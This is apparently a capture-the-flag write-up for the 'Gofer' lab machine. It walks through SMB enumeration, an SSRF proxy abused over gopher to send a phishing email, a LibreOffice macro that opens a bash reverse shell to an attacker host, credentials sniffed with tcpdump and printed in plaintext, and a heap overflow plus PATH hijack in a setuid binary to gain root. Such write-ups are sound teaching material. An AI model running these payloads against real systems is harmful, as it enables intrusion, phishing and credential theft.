The Gofer machine required us to perform service enumeration on the target machine. We identified an SMB service that was filtered, as well as an HTTP service and an SMTP service, both of which were also filtered. Through further enumeration of the HTTP service, we discovered a proxy service running under a subdomain. Additionally, while enumerating the SMB service, we uncovered a backup containing information about the internal services in operation, along with details about a user’s file interactions.

We proceeded to bypass the authentication of the proxy service, enabling us to utilize the Gopher protocol to send a malicious file to the user, ultimately gaining access to a shell. Further system enumeration allowed us to observe that we could utilize tcpdump to obtain plaintext credentials, facilitating a pivot to another user account.

Ultimately, operating as the new user, we ran a program with root privileges, specifically a notes program. Leveraging a buffer overflow within this program, we were able to circumvent the role check and acquire a shell thanks to a PATH Hijacking vulnerability present in the tool.

Recon

nmap (TCP all ports)

nmap finds four open TCP ports and one filtered, SSH (22), a filtered SMTP (25), HTTP server (80), netbios-ssn (139) and a SMB (445):

$ nmap -p- 10.129.77.244
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-02 04:51 EDT
Nmap scan report for 10.129.77.244
Host is up (0.069s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT    STATE    SERVICE
22/tcp  open     ssh
25/tcp  filtered smtp
80/tcp  open     http
139/tcp open     netbios-ssn
445/tcp open     microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 40.89 seconds

$

nmap (found TCP ports exploration)

$ nmap -sC -sV 10.129.77.244 -p 22,25,80,139,445
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-02 04:52 EDT
Nmap scan report for gofer.htb (10.129.77.244)
Host is up (0.058s latency).

PORT    STATE    SERVICE     VERSION
22/tcp  open     ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
|   256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
|_  256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
25/tcp  filtered smtp
80/tcp  open     http        Apache httpd 2.4.56
|_http-title: Gofer
|_http-server-header: Apache/2.4.56 (Debian)
139/tcp open     netbios-ssn Samba smbd 4.6.2
445/tcp open     netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2023-08-02T08:52:45
|_  start_date: N/A
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.44 seconds

$

SMB - TCP 445

Previously we saw that a SMB port was open open on the target. To quickly enumerate this port deeper we will be using the tool smbmap:

$ smbmap -H gofer.htb
[+] IP: gofer.htb:445   Name: unknown
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        shares                                                  READ ONLY
        IPC$                                                    NO ACCESS       IPC Service (Samba 4.13.13-Debian)

$ smbclient -N //gofer.htb/shares
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Oct 28 15:32:08 2022
  ..                                  D        0  Fri Apr 28 07:59:34 2023
  .backup                            DH        0  Thu Apr 27 08:49:32 2023

                5061888 blocks of size 1024. 2049064 blocks available
smb: \> cd .backup\
smb: \.backup\> ls
  .                                   D        0  Thu Apr 27 08:49:32 2023
  ..                                  D        0  Fri Oct 28 15:32:08 2022
  mail                                N     1101  Thu Apr 27 08:49:32 2023

                5061888 blocks of size 1024. 2049064 blocks available
smb: \.backup\> get mail
getting file \.backup\mail of size 1101 as mail (4.8 KiloBytes/sec) (average 4.8 KiloBytes/sec)
smb: \.backup\> !cat mail
From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
        by gofer.htb (Postfix) with SMTP id C8F7461827
        for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>
smb: \.backup\>

With this we could retrieve some valuable information:

  1. Jocelyn clicks in every phishing attempt.
  2. The documents being sent are of the type .odt
  3. There is a web proxy being used.

HTTP - TCP 80

Subdomain Enumeration

After enumerating the subdomains with the ffuf tool, we are able to discover a new service running within the HTTP service:

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://gofer.htb/ -H 'Host: FUZZ.gofer.htb' -fc 301

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://gofer.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.gofer.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 54ms]
    * FUZZ: proxy

:: Progress: [4989/4989] :: Job [1/1] :: 666 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

$

By arriving at the newly found subdomain we are presented with a simple authentication as follows:

When faced with a basic auth without being able to brute force it, a great option to bypass this is by switching the request methods being used. After some fuzzing I was able to get to know that some methods weren’t implemented.

After making a request, it requested an url parameter, by adding it and making a simple http server on our attacker machine we are able to retrieve the following output:

$ curl -XOPTIONS "http://proxy.gofer.htb/index.php?url=<ATTACKER_IP>:9001/"
<!-- Welcome to Gofer proxy -->
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="hey.txt">hey.txt</a></li>
</ul>
<hr>
</body>
</html>
1
$

What this means is that the request is being proxied to our machine, enabling us to communicate to the internal net work through this.

Shell as jhudson

Now that we have a way to communicate to the internal network we should try to find a way to get a foothold onto the internal network. Previously we saw that a SMTP service was being run but filtered. We now are able to communicate with it via the newly found proxy flaw. We also got to know that if we seen a malicious file to the user jdavis this user will open our file.

Malicious Macro

To take advantage of the opening of arbitrary malicious files we are going to craft one and send it to the user. To do this we will follow this blogpost:

First we clone the referenced git repository:

$ git clone https://github.com/tarunkant/Gopherus.git
Cloning into 'Gopherus'...
remote: Enumerating objects: 137, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 137 (delta 12), reused 11 (delta 11), pack-reused 122
Receiving objects: 100% (137/137), 285.89 KiB | 1.22 MiB/s, done.
Resolving deltas: 100% (65/65), done.

$

After this we edit the macro function to be equal to this:

Sub Main
    Shell("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1'")
End Sub

With this we have a fully functional macro to send to the user.

Gopher Protocol

Now that we have a malicious file we need to get a way to send it to the user. For this we need to leverage the small access that we have, this one being the proxy. By searching only the access that we have is just a SSRF and this can be taken advatage by the [gopher](https://en.wikipedia.org/wiki/Gopher_(protocol) protocol.

Gopherus

With this in mind we will be using the tool gopherus:

$ python2 gopherus.py --exploit smtp


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Give Details to send mail:

Mail from :  hacker@pengrey.com
Mail To :  jdavis@gofer.htb
Subject :  Plz Click Me
Message :  <a href='http://<ATTACKER_IP>/shell.odt>HERE</a>

Your gopher link is ready to send Mail:

gopher://127.0.0.1:25/_MAIL%20FROM:hacker%40pengrey.com%0ARCPT%20To:jdavis%40gofer.htb%0ADATA%0AFrom:hacker%40pengrey.com%0ASubject:Plz%20Click%20Me%0AMessage:%3Ca%20href%3D%27http://10.10.15.92:8081/shell.odt%3EHERE%3C/a%3E%0A.

-----------Made-by-SpyD3r-----------

$

Spear Phishing

Now that our payload is done we can try to use it with the proxy:

$ curl -XOPTIONS "http://proxy.gofer.htb/index.php?url=gopher://127.0.0.1:25/_MAIL%20FROM:hacker%40pengrey.com%0ARCPT%20To:jdavis%40gofer.htb%0ADATA%0AFrom:hacker%40pengrey.com%0ASubject:Plz%20Click%20Me%0AMessage:%3Ca%20href%3D%27http://10.10.15.92:8081/shell.odt%3EHERE%3C/a%3E%0A."
<!-- Welcome to Gofer proxy -->
<html><body>Blacklisted keyword: /127 !</body></html>

$ curl -XOPTIONS "http://proxy.gofer.htb/index.php?url=gopher://localhost:25/_MAIL%20FROM:hacker%40pengrey.com%0ARCPT%20To:jdavis%40gofer.htb%0ADATA%0AFrom:hacker%40pengrey.com%0ASubject:Plz%20Click%20Me%0AMessage:%3Ca%20href%3D%27http://10.10.15.92:8081/shell.odt%3EHERE%3C/a%3E%0A."
<!-- Welcome to Gofer proxy -->
<html><body>Blacklisted keyword: localhost !</body></html>

$ curl -XOPTIONS "http://proxy.gofer.htb/index.php?url=gopher%253A%252F%252F127%252E0%252E0%252E1%253A25%252F%255FMAIL%252520FROM%253Ahacker%252540pengrey%252Ecom%25250ARCPT%252520To%253Ajdavis%252540gofer%252Ehtb%25250ADATA%25250AFrom%253Ahacker%252540pengrey%252Ecom%25250ASubject%253APlz%252520Click%252520Me%25250AMessage%253A%25253Ca%252520href%25253D%252527http%253A%252F%252F10%252E10%252E15%252E92%253A8081%252Fshell%252Eodt%25253EHERE%25253C%252Fa%25253E%25250A%252E"
<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 3B289811A
221 2.0.0 Bye
1

$

As we can see the proxy had a filter for localhost and 127.0.0.1, byt by url encoding it we were able to bypass it.

Now that we were able to bypass it we just teed to see if the user requests our malicious file:

$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.77.244 - - [02/Aug/2023 07:09:00] "GET /shell.odt HTTP/1.1" 200 -

By waiting a bit for it to trigger we are able to finally get a user shell onto the machine:

$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.15.92] from (UNKNOWN) [10.129.77.244] 60442
bash: cannot set terminal process group (22098): Inappropriate ioctl for device
bash: no job control in this shell
bash: /home/jhudson/.bashrc: Permission denied
jhudson@gofer:/usr/bin$ id
id
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)
jhudson@gofer:/usr/bin$

Shell as tbuckley

Proxy Credentials

By checking the file /etc/apache2/.htpasswd we are able to see the hash for the credentials that were requested previously on the proxy subdomain.

jhudson@gofer:$ cat /etc/apache2/.htpasswd
cat /etc/apache2/.htpasswd
tbuckley:$apr1$YcZb9OIz$fRzQMx20VskXgmH65jjLh/
jhudson@gofer:$

I tried to crack this hash but with no success. By taking a deeper look I saw that the binary tcpdump was present and that I was able to sniff traffic onto the machine.

Tcpdump access

We have a basic authentication being actively used, maybe we can try to sniff the base64 encoded plaintext credentials with this newly found access:

jhudson@gofer:~$ tcpdump -i any -nn -s0 -A -v 'port 80' -c 5 | grep -i 'Authorization: Basic'
< -v 'port 80' -c 5 | grep -i 'Authorization: Basic'
tcpdump: data link type LINUX_SLL2
tcpdump: listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
5 packets captured
48 packets received by filter
0 packets dropped by kernel
        Authorization: Basic dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk=
Authorization: Basic dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk=
jhudson@gofer:~$

As we can see we were able to retrieve a set of credentials, now we just need to decode them:

$ echo 'dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk=' | base64 -d
tbuckley:ooP4dietie3o_hquaeti

$

Credentials Found

tbuckley:ooP4dietie3o_hquaeti

Now by simply trying to see if these credentials are reused on the SSH service we are able to get a shell:

$ ssh tbuckley@gofer.htb
The authenticity of host 'gofer.htb (10.129.77.244)' can't be established.
ED25519 key fingerprint is SHA256:B4ubLJ0tKmo+Ez41KPcVqNSqcv5f72LlajOYxybaY7o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'gofer.htb' (ED25519) to the list of known hosts.
tbuckley@gofer.htb's password:
Linux gofer.htb 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2023-07-14) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have no mail.
tbuckley@gofer:~$

Shell as root

By enumerating the file witch the user root has access we are able to find the following:

tbuckley@gofer:~$ find / -user root -perm /4000 2>/dev/null
find / -user root -perm /4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/local/bin/notes
tbuckley@gofer:~$

The notes binary seems odd, let’s try to see what’s it about by running it:

tbuckley@gofer:~$ /usr/local/bin/notes
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: ^C
tbuckley@gofer:~$

Seems to be a note taking app. By searching deeper we can see the following:

tbuckley@gofer:~$ file /usr/local/bin/notes
/usr/local/bin/notes: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6a9c0faa06eabfa48a864bb7341f29deecd7e9e3, for GNU/Linux 3.2.0, not stripped
tbuckley@gofer:~$

Note Reverse Engineering

But this isn’t enough, for this I brought the big guns and decompiled the binary the best I could, the resulkt is the following:

void main(void)

{
  __uid_t proc_uid;
  int isAdmin;
  undefined4 user_option;
  void *note_text;
  void *role;

  user_option = 0;
  role = (void *)0x0;
  note_text = (void *)0x0;
  do {
    puts(
        "========================================\n1) Create an user and choose an username\n2) Show  user information\n3) Delete an user\n4) Write a note\n5) Show a note\n6) Save a note (not y et implemented)\n7) Delete a note\n8) Backup notes\n9) Quit\n=============================== =========\n\n"
        );
    printf("Your choice: ");
    __isoc99_scanf(&DAT_0010212b,&user_option);
    puts("");
    switch(user_option) {
    default:
                    /* WARNING: Subroutine does not return */
      exit(0);
    case 1:
      role = malloc(0x28);
      if (role == (void *)0x0) {
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      memset(role,0,0x18);
      memset((void *)((long)role + 0x18),0,0x10);
      proc_uid = getuid();
      if (proc_uid == 0) {
        *(undefined4 *)((long)role + 0x18) = 0x696d6461;
        *(undefined *)((long)role + 0x1c) = 0x6e;
      }
      else {
        *(undefined4 *)((long)role + 0x18) = 0x72657375;
      }
      printf("Choose an username: ");
      __isoc99_scanf(&DAT_00102144,role);
      puts("");
      break;
    case 2:
      if (role == (void *)0x0) {
        puts("First create an user!\n");
      }
      else {
        printf("\nUsername: %s\n",role);
        printf("Role: %s\n\n",(long)role + 0x18);
      }
      break;
    case 3:
      if (role != (void *)0x0) {
        free(role);
      }
      break;
    case 4:
      note_text = malloc(0x28);
      memset(note_text,0,0x28);
      if (note_text == (void *)0x0) {
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      puts("Write your note:");
      __isoc99_scanf(&DAT_0010218b,note_text);
      break;
    case 5:
      printf("Note: %s\n\n",note_text);
      break;
    case 6:
      puts("Coming soon!\n");
      break;
    case 7:
      if (note_text != (void *)0x0) {
        free(note_text);
        note_text = (void *)0x0;
      }
      break;
    case 8:
      if (role == (void *)0x0) {
        puts("First create an user!\n");
      }
      else {
        isAdmin = strcmp((char *)((long)role + 0x18),"admin");
        if (isAdmin == 0) {
          puts("Access granted!");
          setuid(0);
          setgid(0);
          system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes");
        }
        else {
          puts("Access denied: you don\'t have the admin role!\n");
        }
      }
    }
  } while( true );
}

This program essentially generates temporary user accounts and notes that are active only during its execution. By default, every user is assigned the standard user role. Option 8 is exclusively designated for users with admin privileges. However, there is no functionality available to switch, assign, or create this administrative role.

Buffer Overflow

Upon a examination of the source code, it becomes evident that the username and notes have specific lengths, 23 and 39 characters, respectively. When creating a user, two buffers, namely user and role, are generated. Deleting the user releases the user buffer, but the role buffer remains unaffected. This allows us to write a note that surpasses the buffer length, consequently impacting the role buffer.

By taking this concept into practice we are able to see the following:

tbuckley@gofer:~$ /usr/local/bin/notes
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 1

Choose an username: test

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 3

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 4

Write your note:
AAAAAAAAAAAAAAAAAAAAAAAAadmin
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 2


Username: AAAAAAAAAAAAAAAAAAAAAAAAadmin
Role: admin

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 8

Access granted!

Path Hijacking

Now that we are admin we can see that we are able to run the system() function present within the source code:

<SNIP>
isAdmin = strcmp((char *)((long)role + 0x18),"admin");
if (isAdmin == 0) {
  puts("Access granted!");
  setuid(0);
  setgid(0);
  system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes");
}
<SNIP>

This is being run with a relative PATH, enabling us to hijack it and run any command instead with root.

To exploit this we will first make a program that run the bash program:

#!/usr/bin/env python3

import subprocess
import sys

def main():
    subprocess.run(['bash'])

if __name__ == "__main__":
    main()

Now what remains is to make this program be our new tar program:

tbuckley@gofer:~$ PATH=.:${PATH}
tbuckley@gofer:~$ export PATH
tbuckley@gofer:~$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
tbuckley@gofer:~$ tar
tbuckley@gofer:~$ exit
exit
tbuckley@gofer:~$

What remains now is deceiving the binary to run our malicious tar binary and we will get a shell as root:

tbuckley@gofer:~$ /usr/local/bin/notes
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 1

Choose an username: test

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 3

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 4

Write your note:
AAAAAAAAAAAAAAAAAAAAAAAAadmin
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 8

Access granted!
root@gofer:~# id
uid=0(root) gid=0(root) groups=0(root),1002(tbuckley),1004(dev)
root@gofer:~#